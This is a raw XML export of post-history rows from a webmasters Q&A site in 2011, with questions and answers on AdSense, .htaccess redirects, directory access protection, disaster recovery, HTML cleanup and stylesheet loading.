  <row Id="40155" PostHistoryTypeId="2" PostId="16788" RevisionGUID="4bc3be31-5828-44a6-b12c-cab2a6d8f589" CreationDate="2011-07-13T18:34:52.283" UserId="1253" Text="[According to Google][1] you will need to modify how that page works for Adsense to properly handle them:&#xD;&#xA;&#xD;&#xA;&gt; Our AdSense crawlers index each individual URL containing the AdSense&#xD;&#xA;&gt; ad code in order to deliver relevant ads to that page. If your site is&#xD;&#xA;&gt; dynamically generated using a program language such as PHP or is&#xD;&#xA;&gt; created using information from a database, we'll still be able to&#xD;&#xA;&gt; target each unique URL with ads specific to the content of that page.&#xD;&#xA;&gt; &#xD;&#xA;&gt; However, the following types of dynamic sites may need modification to&#xD;&#xA;&gt; receive targeted ads:&#xD;&#xA;&gt; &#xD;&#xA;&gt; Dynamic pages that use the POST method for form submission Sites using&#xD;&#xA;&gt; the POST method use the same URL for many different content pages. To&#xD;&#xA;&gt; allow us to target the content of each unique page, we recommend that&#xD;&#xA;&gt; you change these pages so that your variables are passed through the&#xD;&#xA;&gt; URL using the GET method.&#xD;&#xA;&#xD;&#xA;I'm guessing they will use the keywords in the query string to help them determine what ads to show and/or once the page is loaded for the first time they will know to crawl it with those parameters in the query string which will show them the content of that page which will allow them to server relevant ads going forward.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=20763" />
  <row Id="40156" PostHistoryTypeId="5" PostId="10643" RevisionGUID="c95976d7-58d6-447d-acd6-8e115ad32712" CreationDate="2011-07-13T18:35:43.450" UserId="1253" Comment="modified tags" Text="I need a shopping cart for PHP/MySQL. What I need is very simple. I have a template already set up with the 15 items that we want to sell. We don't require a storefront, only a cart that uses a gateway. The user should be able to click on the item in my template and then go to checkout.&#xD;&#xA;&#xD;&#xA;Can someone recommend something that would meet these needs? I want to stay away from bloated apps." />
  <row Id="40157" PostHistoryTypeId="4" PostId="10643" RevisionGUID="c95976d7-58d6-447d-acd6-8e115ad32712" CreationDate="2011-07-13T18:35:43.450" UserId="1253" Comment="modified tags" Text="PHP/MySQL shopping cart recommendation" />
  <row Id="40158" PostHistoryTypeId="6" PostId="10643" RevisionGUID="c95976d7-58d6-447d-acd6-8e115ad32712" CreationDate="2011-07-13T18:35:43.450" UserId="1253" Comment="modified tags" Text="&lt;php&gt;&lt;looking-for-a-script&gt;&lt;shopping-cart&gt;" />
  <row Id="40159" PostHistoryTypeId="2" PostId="16789" RevisionGUID="39a52a45-7310-42a0-afd7-18ac01244950" CreationDate="2011-07-13T18:46:41.580" UserId="7175" Text="I have a games site and I'm writing an API that will pull relevant Q&amp;A from my copy of the SE data dump. I will abide by all the licensing rules.&#xD;&#xA;&#xD;&#xA;I'm hesitant to do this because Google will penalize my site for serving duplicate content. &#xD;&#xA;&#xD;&#xA;Is there a legal way to serve data dump content, abiding by the license terms, without incurring search engine penalties?&#xD;&#xA;&#xD;&#xA;I plan to use Google API to translate content to my native language. I will not serve the content in English." />
  <row Id="40160" PostHistoryTypeId="1" PostId="16789" RevisionGUID="39a52a45-7310-42a0-afd7-18ac01244950" CreationDate="2011-07-13T18:46:41.580" UserId="7175" Text="Is there a legal way to serve data-dump content without incurring search engine penalties?" />
  <row Id="40161" PostHistoryTypeId="3" PostId="16789" RevisionGUID="39a52a45-7310-42a0-afd7-18ac01244950" CreationDate="2011-07-13T18:46:41.580" UserId="7175" Text="&lt;google&gt;&lt;indexing&gt;&lt;search&gt;" />
  <row Id="40162" PostHistoryTypeId="5" PostId="16789" RevisionGUID="db514330-1370-4814-8ec8-03f27e0408eb" CreationDate="2011-07-13T18:52:23.307" UserId="7175" Comment="added 11 characters in body" Text="I have a games site and I'm writing an API that will pull relevant Q&amp;A from my copy of the SE data dump. I will abide by all licensing rules.&#xD;&#xA;&#xD;&#xA;That said, I'm hesitant to do this because Google will penalize my site for serving duplicate content. &#xD;&#xA;&#xD;&#xA;Is there a legal way to serve data-dump content, while abiding by licensing terms, without incurring search engine penalties?&#xD;&#xA;&#xD;&#xA;I plan to use Google API to translate content to my native language. I will not serve the content in English." />
  <row Id="40163" PostHistoryTypeId="5" PostId="16789" RevisionGUID="4fdbdb4b-036c-42fa-b41f-5eef46d7277a" CreationDate="2011-07-13T19:30:20.717" UserId="7175" Comment="added 94 characters in body" Text="I have a games site and I'm writing an API that will pull relevant Q&amp;A from my copy of the SE data dump. I will abide by all licensing rules.&#xD;&#xA;&#xD;&#xA;That said, I'm hesitant to do this because Google will penalize my site for serving duplicate content. &#xD;&#xA;&#xD;&#xA;Is there a legal way to serve data-dump content, while abiding by licensing terms, without incurring search engine penalties? I want to serve this content, but I don't want to compromise the main function of my website.&#xD;&#xA;&#xD;&#xA;I plan to use Google API to translate content to my native language. I will not serve the content in English." />
  <row Id="40164" PostHistoryTypeId="2" PostId="16790" RevisionGUID="9e45fac4-6d28-4aeb-ab2b-4c682a4f6cbb" CreationDate="2011-07-13T20:22:52.653" UserId="8147" Text="Do you guys think that is good idea to create blog about php, technologies etc, like mashable ? &#xD;&#xA;&#xD;&#xA;Reason I'm asking is following: &#xD;&#xA;&#xD;&#xA;- There are a lot of popular blogs (as I told already, Mashable) and &#xD;&#xA;- if I would (personelly) find new starting blog, I would ask myself: &quot;Why would I move from 1 to 2 ?&quot;&#xD;&#xA;&#xD;&#xA;what do you guys think about it ?" />
  <row Id="40165" PostHistoryTypeId="1" PostId="16790" RevisionGUID="9e45fac4-6d28-4aeb-ab2b-4c682a4f6cbb" CreationDate="2011-07-13T20:22:52.653" UserId="8147" Text="Is it worth creating new PHP/Web news blog ?" />
  <row Id="40166" PostHistoryTypeId="3" PostId="16790" RevisionGUID="9e45fac4-6d28-4aeb-ab2b-4c682a4f6cbb" CreationDate="2011-07-13T20:22:52.653" UserId="8147" Text="&lt;php&gt;&lt;blog&gt;" />
  <row Id="40167" PostHistoryTypeId="10" PostId="16790" RevisionGUID="73d87e5f-32bb-4c1c-856f-3e8cbb472afe" CreationDate="2011-07-13T20:33:51.413" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40168" PostHistoryTypeId="5" PostId="15117" RevisionGUID="ddeb8a30-8394-4c86-adf7-534492cea97f" CreationDate="2011-07-13T20:43:05.023" UserId="3192" Comment="formatted to Markdown" Text="1. Do a 301 redirect from one to the other. Here is the code you can place in an .htaccess file in your webroot (change your_domain.com to be your actual domain):&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www.your_domain.com$&#xD;&#xA;    RewriteRule ^(.*)$ http://www.your_domain.com/$1 [R=301]&#xD;&#xA;&#xD;&#xA;2. In [Google Webmaster Tools you can set your preferred domain][1] so Google knows which one you prefer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=44231&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;!-- formatted to Markdown --&gt;" />
  <row Id="40169" PostHistoryTypeId="24" PostId="15117" RevisionGUID="ddeb8a30-8394-4c86-adf7-534492cea97f" CreationDate="2011-07-13T20:43:05.023" Comment="Proposed by 3192 approved by -1 edit id of 433" />
  <row Id="40170" PostHistoryTypeId="5" PostId="15117" RevisionGUID="00f1d6fb-68eb-4152-8078-fe77d9503baa" CreationDate="2011-07-13T20:43:05.333" UserId="108" Comment="formatted to Markdown" Text="1. Do a 301 redirect from one to the other. Here is the code you can place in an .htaccess file in your webroot (change your_domain.com to be your actual domain):&#xD;&#xA;&#xD;&#xA;&lt;code&gt;&lt;br&gt;&#xD;&#xA;RewriteEngine on&lt;br&gt;&#xD;&#xA;RewriteCond %{HTTP_HOST} !^www.your_domain.com$&lt;br&gt;&#xD;&#xA;RewriteRule ^(.*)$ http://www.your_domain.com/$1 [R=301]&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;2. In [Google Webmaster Tools you can set your preferred domain][1] so Google knows which one you prefer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=44231&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;!-- formatted to Markdown --&gt;" />
  <row Id="40171" PostHistoryTypeId="2" PostId="16791" RevisionGUID="dcd3d1e0-6429-4db9-9dee-b10f77609639" CreationDate="2011-07-13T20:57:02.730" UserId="8924" Text="My question is simply this:&#xD;&#xA;&#xD;&#xA;If I use Dreamweaver to create the website layout, but I need to use Ruby on Rails software to create a webservice (SSH included) will the HTML and Ruby conflict with each other?&#xD;&#xA;&#xD;&#xA;I'm not very knowledgeable on the subject, and any help is appreciated. Basically, I just want to have a website where I post images in a blog-like fashion, and then I will have my Windows 7 Phone pull these images and populate them in an app of mine.&#xD;&#xA;&#xD;&#xA;Thanks for any help and insight." />
  <row Id="40172" PostHistoryTypeId="1" PostId="16791" RevisionGUID="dcd3d1e0-6429-4db9-9dee-b10f77609639" CreationDate="2011-07-13T20:57:02.730" UserId="8924" Text="Ruby on Rails and HTML created websites" />
  <row Id="40173" PostHistoryTypeId="3" PostId="16791" RevisionGUID="dcd3d1e0-6429-4db9-9dee-b10f77609639" CreationDate="2011-07-13T20:57:02.730" UserId="8924" Text="&lt;html&gt;&lt;website-design&gt;&lt;ruby-on-rails&gt;&lt;web-services&gt;" />
  <row Id="40174" PostHistoryTypeId="2" PostId="16792" RevisionGUID="08f778b0-ef3f-4c44-81d6-3f5904a9f02c" CreationDate="2011-07-13T21:00:59.673" UserId="1253" Text="They won't conflict because they work together. The code you create with Ruby on Rails will produce or be integrated with the HTML in your website that is created by Dreamweaver. The SSH portion of your application will bypass the HTML completely (didn't know you could do SSH with RoR)." />
  <row Id="40178" PostHistoryTypeId="25" PostId="16787" RevisionGUID="7783daea-5964-4d8a-bd8c-0280d1ecf273" CreationDate="2011-07-13T21:31:31.520" Comment="http://twitter.com/#!/StackWebmasters/status/91258477456011264" />
  <row Id="40179" PostHistoryTypeId="2" PostId="16794" RevisionGUID="83eda2fb-e5d2-4a1e-9042-c8bad9efd32e" CreationDate="2011-07-13T21:58:32.043" UserId="4118" Text="If you have a duplicate page which you have no reason to keep, you should not 410 it, nor leave it up, but instead use a 301 (Moved Permanently) redirect to the other copy. In this way, any links or bookmarks to the removed page will not be broken." />
  <row Id="40183" PostHistoryTypeId="2" PostId="16795" RevisionGUID="d10f9d5e-2f22-41fb-963f-35ed157fe364" CreationDate="2011-07-13T22:25:31.520" UserId="8949" Text="Where can I find lists of the &quot;best&quot; ad networks to serve both international and domestic display advertising?  In my mind, the two most important factors are that they offer a competitive CPM and have a high fill rate (over 90%)." />
  <row Id="40184" PostHistoryTypeId="1" PostId="16795" RevisionGUID="d10f9d5e-2f22-41fb-963f-35ed157fe364" CreationDate="2011-07-13T22:25:31.520" UserId="8949" Text="Best in class US and International ad networks" />
  <row Id="40185" PostHistoryTypeId="3" PostId="16795" RevisionGUID="d10f9d5e-2f22-41fb-963f-35ed157fe364" CreationDate="2011-07-13T22:25:31.520" UserId="8949" Text="&lt;advertising&gt;&lt;ads&gt;" />
  <row Id="40186" PostHistoryTypeId="2" PostId="16796" RevisionGUID="de988a4a-7029-4b6c-b6f3-9fb786553e27" CreationDate="2011-07-13T22:54:09.700" UserId="7405" Text="Disaster recovery can be a huge task, especially when dealing with multiple servers, sites, and databases.  Two key items to take into account with the solution you select are recovery time objectives (RTOs) and recovery point objectives (RPOs).&#xD;&#xA;&#xD;&#xA;**RTO** is essentially the expectation of how long it should take until the sites are back up.  If you have an RTO of a minute or two (or less), then you should be considering a solution in line with what Nick suggested that involves real time replication of your files and data to an secondary data center and automatic failover of DNS which could be done with a paid service or with hardware at both data centers (such as the [BIG-IP Global Traffic Manager][1] from F5 Networks.  This can get costly, but largely depends on answering the question &quot;What is the cost of downtime?&quot;  If your RTO is a few hours or even a few days, then you can consider disaster recovery procedures that may involve more manual involvement such as bringing servers online, switching DNS, etc.  Tedious, but certainly cost effective if your RTO allows for that.&#xD;&#xA;&#xD;&#xA;**RPO** is basically how frequently backups are done and how much data you are willing to lose in the event of a disaster.  If changes to content and/or data happen frequently, then you are likely to have an RPO of maybe minutes or hours and may be dealing with real time replication or high frequency backups.  If content doesn't change that often or you have customers that don't necessarily care that they lose data for a few days, your backups can happen less often.&#xD;&#xA;&#xD;&#xA;As I mentioned, I agree with much of what Nick had to say.  Another alternative you may wish to consider is to utilize cloud based services from one of the larger cloud based providers such as Rackspace or Amazon.  Both of those providers in particular have massive infrastructure in place to be able to handle just about any disaster thrown at them.  With something like a cloud site or cloud server (terms used by Rackspace), you have the advantage of being able to scale as well and don't have to necessarily worry about the physical hardware aspect of it.&#xD;&#xA;&#xD;&#xA;Rackspace also has custom options available where you can intermix your infrastructure, having a combination of cloud servers, physical servers, and cloud files as part of your solution.  A hybrid approach may be something to consider depending on your customer needs if you don't want to take a one size fits all approach.&#xD;&#xA;&#xD;&#xA;If it helps, there is a page dedicated to disaster recovery on the Rackspace site as well which can be found [here][2].  (Also for the record, I am not affiliated with Rackspace, but have used their services in the past).&#xD;&#xA;&#xD;&#xA;Hope this has helped.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.f5.com/products/big-ip/global-traffic-manager.html&#xD;&#xA;  [2]: http://www.rackspace.com/managed_hosting/services/proservices/disasterrecovery/" />
  <row Id="40187" PostHistoryTypeId="2" PostId="16797" RevisionGUID="026d5849-d0f2-4411-858f-be65756d1fc5" CreationDate="2011-07-13T23:15:11.680" UserId="7198" Text="Using content management systems to build dynamic sites invariably results in ugly HTML. Indent levels are often wrong, white space litters the page, and a host of other tiny annoyances plague anyone attempting to read the source code for debugging or educational purposes.&#xD;&#xA;&#xD;&#xA;**Is there a way to automatically strip white space, autoindent, and otherwise beautify the output of a PHP or other dynamic script that spits out HTML?**&#xD;&#xA;&#xD;&#xA;I'm interested in any automated server-side solution that will improve the legibility of dynamically generated HTML, as well as solutions that strip all white space for compression purposes. If it matters, I normally run Apache or nginx.&#xD;&#xA;&#xD;&#xA;It's safe to assume that I'm caching the output, so I won't be running whatever HTML beautification witchcraft you suggest on every page view (and taking the associated performance hit each time). As such, I'm more interested in ease of setup and reliable results than I am in performance." />
  <row Id="40188" PostHistoryTypeId="1" PostId="16797" RevisionGUID="026d5849-d0f2-4411-858f-be65756d1fc5" CreationDate="2011-07-13T23:15:11.680" UserId="7198" Text="How can I automatically clean, beautify, and autoindent dynamic HTML code?" />
  <row Id="40189" PostHistoryTypeId="3" PostId="16797" RevisionGUID="026d5849-d0f2-4411-858f-be65756d1fc5" CreationDate="2011-07-13T23:15:11.680" UserId="7198" Text="&lt;html&gt;&lt;code&gt;&lt;code-quality&gt;" />
  <row Id="40190" PostHistoryTypeId="2" PostId="16798" RevisionGUID="3c6c42cc-4fcb-4237-bb93-5109c033ebd1" CreationDate="2011-07-13T23:17:30.897" UserId="745" Text="Check out [HTML Tidy][1]. There are a lot of different bindings for different languages, so you should be able to find one that works for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tidy.sourceforge.net/" />
  <row Id="40191" PostHistoryTypeId="5" PostId="16798" RevisionGUID="87f05df5-83bb-4fef-8f82-b86b3a602d81" CreationDate="2011-07-13T23:58:00.267" UserId="745" Comment="added 179 characters in body" Text="Check out [HTML Tidy][1]. There are a lot of different bindings for different languages, so you should be able to find one that works for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit**: If you're looking for something actively maintained, check out [HTMLawed][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tidy.sourceforge.net/&#xD;&#xA;  [2]: http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/more.htm" />
  <row Id="40192" PostHistoryTypeId="5" PostId="16796" RevisionGUID="aa259520-96fb-42e1-b921-9fea14467fe0" CreationDate="2011-07-14T00:13:32.673" UserId="7405" Comment="added 325 characters in body" Text="Disaster recovery can be a huge task, especially when dealing with multiple servers, sites, and databases.  Two key items to take into account with the solution you select are recovery time objectives (RTOs) and recovery point objectives (RPOs).&#xD;&#xA;&#xD;&#xA;**RTO** is essentially the expectation of how long it should take until the sites are back up.  If you have an RTO of a minute or two (or less), then you should be considering a solution in line with what Nick suggested that involves real time replication of your files and data to an secondary data center and automatic failover of DNS which could be done with a paid service or with hardware at both data centers (such as the [BIG-IP Global Traffic Manager][1] from F5 Networks.  This can get costly, but largely depends on answering the question &quot;What is the cost of downtime?&quot;  If your RTO is a few hours or even a few days, then you can consider disaster recovery procedures that may involve more manual involvement such as bringing servers online, switching DNS, etc.  Tedious, but certainly cost effective if your RTO allows for that.&#xD;&#xA;&#xD;&#xA;**RPO** is basically how frequently backups are done and how much data you are willing to lose in the event of a disaster.  If changes to content and/or data happen frequently, then you are likely to have an RPO of maybe minutes or hours and may be dealing with real time replication or high frequency backups.  If content doesn't change that often or you have customers that don't necessarily care that they lose data for a few days, your backups can happen less often.&#xD;&#xA;&#xD;&#xA;As I mentioned, I agree with much of what Nick had to say.  Another alternative you may wish to consider is to utilize cloud based services from one of the larger cloud based providers such as Rackspace or Amazon.  Both of those providers in particular have massive infrastructure in place to be able to handle just about any disaster thrown at them.  With something like a cloud site or cloud server (terms used by Rackspace), you have the advantage of being able to scale as well and don't have to necessarily worry about the physical hardware aspect of it.&#xD;&#xA;&#xD;&#xA;Rackspace also has custom options available where you can intermix your infrastructure, having a combination of cloud servers, physical servers, and cloud files as part of your solution.  A hybrid approach may be something to consider depending on your customer needs if you don't want to take a one size fits all approach.&#xD;&#xA;&#xD;&#xA;If it helps, there is a page dedicated to disaster recovery on the Rackspace site as well which can be found [here][2].  (Also for the record, I am not affiliated with Rackspace, but have used their services in the past).&#xD;&#xA;&#xD;&#xA;Hope this has helped.&#xD;&#xA;&#xD;&#xA;**EDIT**: Thought this might help if you are evaluating cloud solutions.  The [Gartner Magic Quadrant Report for Infrastructure and as a Service and Web Hosting][3] may give you some insight into other solution providers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.f5.com/products/big-ip/global-traffic-manager.html&#xD;&#xA;  [2]: http://www.rackspace.com/managed_hosting/services/proservices/disasterrecovery/&#xD;&#xA;  [3]: http://c1776742.cdn.cloudfiles.rackspacecloud.com/downloads/pdfs/GartnerMagicQuadrant.pdf" />
  <row Id="40193" PostHistoryTypeId="25" PostId="16797" RevisionGUID="682291cb-dc5c-422f-9567-8684d0db7d1f" CreationDate="2011-07-14T00:31:32.680" Comment="http://twitter.com/#!/StackWebmasters/status/91303780246749184" />
  <row Id="40194" PostHistoryTypeId="17" PostId="16799" RevisionGUID="ac2499f7-4114-488f-b0dc-bdb7bc1a0af5" CreationDate="2011-07-14T01:46:27.687" UserId="-1" Comment="from http://stackoverflow.com/questions/4169970/are-files-in-a-hidden-directory-safe" Text="" />
  <row Id="40195" PostHistoryTypeId="17" PostId="16800" RevisionGUID="804e837e-7a57-4751-9c10-57842a5a3165" CreationDate="2011-07-14T01:46:27.687" UserId="-1" Comment="from http://stackoverflow.com/questions/4169970/are-files-in-a-hidden-directory-safe" Text="" />
  <row Id="40196" PostHistoryTypeId="2" PostId="16800" RevisionGUID="c135b01c-6838-48c5-918a-5848ed3819ca" CreationDate="2010-11-12T23:38:15.067" UserDisplayName="bobince" Text="You certainly could access the files in a web browser or other HTTP client, either by brute-force attack on filenames, or, more likely, because the URL of one of the pages has leaked out. This typically happens if a link or image on one of the pages leads to another server, passing a referrer URL. All it takes is one server (or proxy) log to make the URL public and it will be easily discoverable by Google.&#xD;&#xA;&#xD;&#xA;URL obscurity is not a good way to protect sensitive information. If the pages are meant to be viewed only by authorised users, deploy an authentication scheme such as HTTP Basic Authentication (eg via `.htaccess`); if they are not meant to be viewable through the web at all, keep them in a directory outside of the web root." />
  <row Id="40197" PostHistoryTypeId="2" PostId="16801" RevisionGUID="77e48e96-40c4-4c49-a602-b296800799dc" CreationDate="2010-11-12T23:39:38.483" UserDisplayName="cHao" Text="Actually, if the web server and/or permissions aren't set up right, they *can* access the files with a web browser.  Anyone who knows (or guesses) the names of files within the directory can get them just fine.  `index.html` only hides the directory listing, and the same thing can be done by disabling directory indexes for that directory.  &#xD;&#xA;&#xD;&#xA;In a .htaccess file, you can do it like&#xD;&#xA;&#xD;&#xA;    Options -Indexes&#xD;&#xA;&#xD;&#xA;If you don't want random strangers to access the directory or the files in it, you can tell the web server to require authentication for that directory.&#xD;&#xA;&#xD;&#xA;    AuthType basic&#xD;&#xA;    AuthName Private&#xD;&#xA;    AuthUserFile /path/to/htpasswd&#xD;&#xA;    Require valid-user&#xD;&#xA;&#xD;&#xA;and set up an 'htpasswd' file that contains the names and passwords of users you want to allow.&#xD;&#xA;&#xD;&#xA;For IIS, it's a little easier if you have admin access to the server (and particularly if FrontPage Server Extensions are installed).  Just set the permissions on the directory." />
  <row Id="40198" PostHistoryTypeId="2" PostId="16799" RevisionGUID="62c52c53-ee6c-42e1-b8d2-1830d9f3c199" CreationDate="2010-11-12T23:32:00.730" UserDisplayName="Frank" Text="I have a directory on my ISP's web server, I don't want users to see files inside that directory, so I have a index.html file in it to redirect user to my main page, I wonder someone could still write a program and use http or other protocols to list the files in it ? I know they can't use browsers to access those files.&#xD;&#xA;&#xD;&#xA;Edit [ More specific ] :&#xD;&#xA;&#xD;&#xA;The dir look like this :&#xD;&#xA;&#xD;&#xA;    index.html [ redirect to main page ]&#xD;&#xA;    1z3n67xzs.dus&#xD;&#xA;    s737er.pds&#xD;&#xA;    rijvnjdfjndf.oef&#xD;&#xA;    Dir_Deeper_Hidden_1 [ a directory ]&#xD;&#xA;    Dir_Deeper_Hidden_2 [ a directory ]&#xD;&#xA;&#xD;&#xA;These files and directories are not mentioned in anywhere else, I'm the only one who knows the names of these files and directories, can users still **list them** ?" />
  <row Id="40199" PostHistoryTypeId="1" PostId="16799" RevisionGUID="62c52c53-ee6c-42e1-b8d2-1830d9f3c199" CreationDate="2010-11-12T23:32:00.730" UserDisplayName="Frank" Text="Are files in a hidden directory safe ?" />
  <row Id="40200" PostHistoryTypeId="3" PostId="16799" RevisionGUID="62c52c53-ee6c-42e1-b8d2-1830d9f3c199" CreationDate="2010-11-12T23:32:00.730" UserDisplayName="Frank" Text="&lt;security&gt;&lt;directory&gt;" />
  <row Id="40201" PostHistoryTypeId="17" PostId="16801" RevisionGUID="fe026d63-7b99-43f9-8326-1f29ef959379" CreationDate="2011-07-14T01:46:27.687" UserId="-1" Comment="from http://stackoverflow.com/questions/4169970/are-files-in-a-hidden-directory-safe" Text="" />
  <row Id="40202" PostHistoryTypeId="17" PostId="16802" RevisionGUID="9db89ec3-1c32-4567-b8ea-49acf98c39ad" CreationDate="2011-07-14T01:46:27.687" UserId="-1" Comment="from http://stackoverflow.com/questions/4169970/are-files-in-a-hidden-directory-safe" Text="" />
  <row Id="40203" PostHistoryTypeId="2" PostId="16802" RevisionGUID="4e7db2ea-dc66-4407-a54f-4f067504deff" CreationDate="2010-11-12T23:43:55.477" UserDisplayName="David Lively" Text="No. They are not safe. The server should be configured not to list the contents of a folder via http, and should only serve files with certain extensions. HTML, asp, aspx, png etc are okay, but, say, .config is not. &#xD;&#xA;If your provider isn't configuring the server in this way, find a new one. " />
  <row Id="40204" PostHistoryTypeId="2" PostId="16803" RevisionGUID="aeafdf62-0b66-44a9-b646-57ca59519759" CreationDate="2011-07-14T01:47:27.413" UserId="8953" Text="Friends,&#xD;&#xA;I am using stylesheet switcher which uses a number of alternate stylesheets for the media=&quot;screen&quot; and switches to those styles when instructed by the user.&#xD;&#xA;&#xD;&#xA;But in the web page I have to use several http requests to link so many style sheets which increases the loadtime.&#xD;&#xA;&#xD;&#xA;Is there anyway I can modify the code to load fast? How combining works I don't know since all style sheets are different.&#xD;&#xA;&#xD;&#xA;Please help me out.&#xD;&#xA;&#xD;&#xA;TIA&#xD;&#xA;pankajt" />
  <row Id="40205" PostHistoryTypeId="1" PostId="16803" RevisionGUID="aeafdf62-0b66-44a9-b646-57ca59519759" CreationDate="2011-07-14T01:47:27.413" UserId="8953" Text="Stylesheet switches increase loadtime?" />
  <row Id="40206" PostHistoryTypeId="3" PostId="16803" RevisionGUID="aeafdf62-0b66-44a9-b646-57ca59519759" CreationDate="2011-07-14T01:47:27.413" UserId="8953" Text="&lt;css&gt;&lt;web-development&gt;&lt;website-design&gt;&lt;websites&gt;" />
  <row Id="40207" PostHistoryTypeId="2" PostId="16804" RevisionGUID="1e81f9da-3217-4fb3-ba23-3f193f542981" CreationDate="2011-07-14T02:03:16.917" UserId="1253" Text="Use JavaScript to add the `&lt;link&gt;` tags for each alternate stylesheet after the DOM has loaded. That way the page will load faster and while the user is looking at it, but before they have much of a chance to do anything the browser will load the alternate stylesheets in the background seamlessly." />
  <row Id="40208" PostHistoryTypeId="5" PostId="16803" RevisionGUID="0f393f5e-9118-453b-8969-53b7b98453b2" CreationDate="2011-07-14T02:11:11.730" UserId="1253" Comment="modified tags, minor text edits" Text="I am using stylesheet switcher which uses a number of alternate stylesheets for the media=&quot;screen&quot; and switches to those styles when instructed by the user.&#xD;&#xA;&#xD;&#xA;But in the web page I have to use several http requests to link so many style sheets which increases the loadtime.&#xD;&#xA;&#xD;&#xA;Is there anyway I can modify the code to load fast? How combining works I don't know since all style sheets are different.&#xD;&#xA;" />
  <row Id="40209" PostHistoryTypeId="6" PostId="16803" RevisionGUID="0f393f5e-9118-453b-8969-53b7b98453b2" CreationDate="2011-07-14T02:11:11.730" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;css&gt;&lt;web-development&gt;" />
  <row Id="40210" PostHistoryTypeId="2" PostId="16805" RevisionGUID="6bbf27c1-e36d-4ea5-8440-d49f83a69556" CreationDate="2011-07-14T02:14:23.630" UserId="8954" Text="My hosting provider requires that my primary domain (let's call it domainX.com) points to my public_html root. I also own several other domains (let's call them domainY.com and domainZ.com) that are hosted in subdirectories such that they can be accessed via http://domainX.com/domainY/ and http://domainX.com/domainZ/&#xD;&#xA;&#xD;&#xA;I would like to restrict people from accessing these secondary sites in this way. Ideally, there will be no indication that the secondary sites are in any way related to the primary domain. How do I do this? Modify the .htaccess file?&#xD;&#xA;&#xD;&#xA;Thanks for any help!" />
  <row Id="40211" PostHistoryTypeId="1" PostId="16805" RevisionGUID="6bbf27c1-e36d-4ea5-8440-d49f83a69556" CreationDate="2011-07-14T02:14:23.630" UserId="8954" Text="Restrict access to directories hosting different sites." />
  <row Id="40212" PostHistoryTypeId="3" PostId="16805" RevisionGUID="6bbf27c1-e36d-4ea5-8440-d49f83a69556" CreationDate="2011-07-14T02:14:23.630" UserId="8954" Text="&lt;web-hosting&gt;&lt;htaccess&gt;&lt;directory&gt;" />
  <row Id="40213" PostHistoryTypeId="5" PostId="14607" RevisionGUID="785d4c91-3350-42e3-b7bb-6b71c1a8631e" CreationDate="2011-07-14T02:25:29.330" UserId="4306" Comment="added 239 characters in body" Text="Here's one possible scenario.&#xD;&#xA;&#xD;&#xA;* Google Webmaster Tools tracks searches and clicks TO your domain&#xD;&#xA;* Google Analytics records page views and keywords ON your domain&#xD;&#xA;* So between leaving Google and reaching your pages with the GA tag, the keywords are getting stripped&#xD;&#xA;&#xD;&#xA;Things to check:&#xD;&#xA;&#xD;&#xA;* Analytics is correctly configured on **every** page - make sure the tracking tag in use on the homepage is that same as the internal pages&#xD;&#xA;* You might have Javascript redirects that are stripping out the referrer and keyword information - browse your site with JS disabled and see if everything behaves properly&#xD;&#xA;* You might have meta-refreshes that are redirecting visitors and losing the referrer info. [Disable meta-refreshes][1] and try browsing the site.&#xD;&#xA;* You might have some server-side redirects that strip the referrer information - use a tool like redbot.org to see what headers are being returned when you request your site&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jkwebtalks.com/2010/02/disable-automatic-meta-refreshredirect.html" />
  <row Id="40214" PostHistoryTypeId="25" PostId="16805" RevisionGUID="05221888-385e-4339-b126-ef92cc81d6c8" CreationDate="2011-07-14T03:31:34.917" Comment="http://twitter.com/#!/StackWebmasters/status/91349086560714752" />
  <row Id="40219" PostHistoryTypeId="25" PostId="16803" RevisionGUID="29f728d2-597b-4a2f-831a-76febe68dc51" CreationDate="2011-07-14T06:31:35.830" Comment="http://twitter.com/#!/StackWebmasters/status/91394391901601792" />
  <row Id="40221" PostHistoryTypeId="2" PostId="16809" RevisionGUID="8137836e-5720-47e0-82d1-b94bc3deeefd" CreationDate="2011-07-14T08:01:43.577" UserId="8957" Text="I don't think there is any indication whatsoever that they are in any way related. only if you know that there are folders in your primary domain that point to the other domains one could type them into the address bar.&#xD;&#xA;unfortunately i don't know if there is a way to prevent people from typing domainX.com/domain" />
  <row Id="40222" PostHistoryTypeId="2" PostId="16810" RevisionGUID="7883f3d1-3921-4248-8daa-87b061b295b5" CreationDate="2011-07-14T08:26:03.587" UserId="8957" Text="I'm looking for a simple javascript editor, much like the one i'm using to type this message.&#xD;&#xA;i've tried searching (and i wondered why starting to ask a question shows much better search results than just searching) and have come up with a few results, none of them relevant.&#xD;&#xA;&#xD;&#xA;I just need a very simple editor, that displays text as `&lt;p&gt;`, has a way to insert links, and allows me to display html tags in the text rather than making them get parsed.&#xD;&#xA;The editors that I've seen so far all have a rich feature set and more functions than i would ever want, or want to learn to use." />
  <row Id="40223" PostHistoryTypeId="1" PostId="16810" RevisionGUID="7883f3d1-3921-4248-8daa-87b061b295b5" CreationDate="2011-07-14T08:26:03.587" UserId="8957" Text="lightweight javascript editor for textarea" />
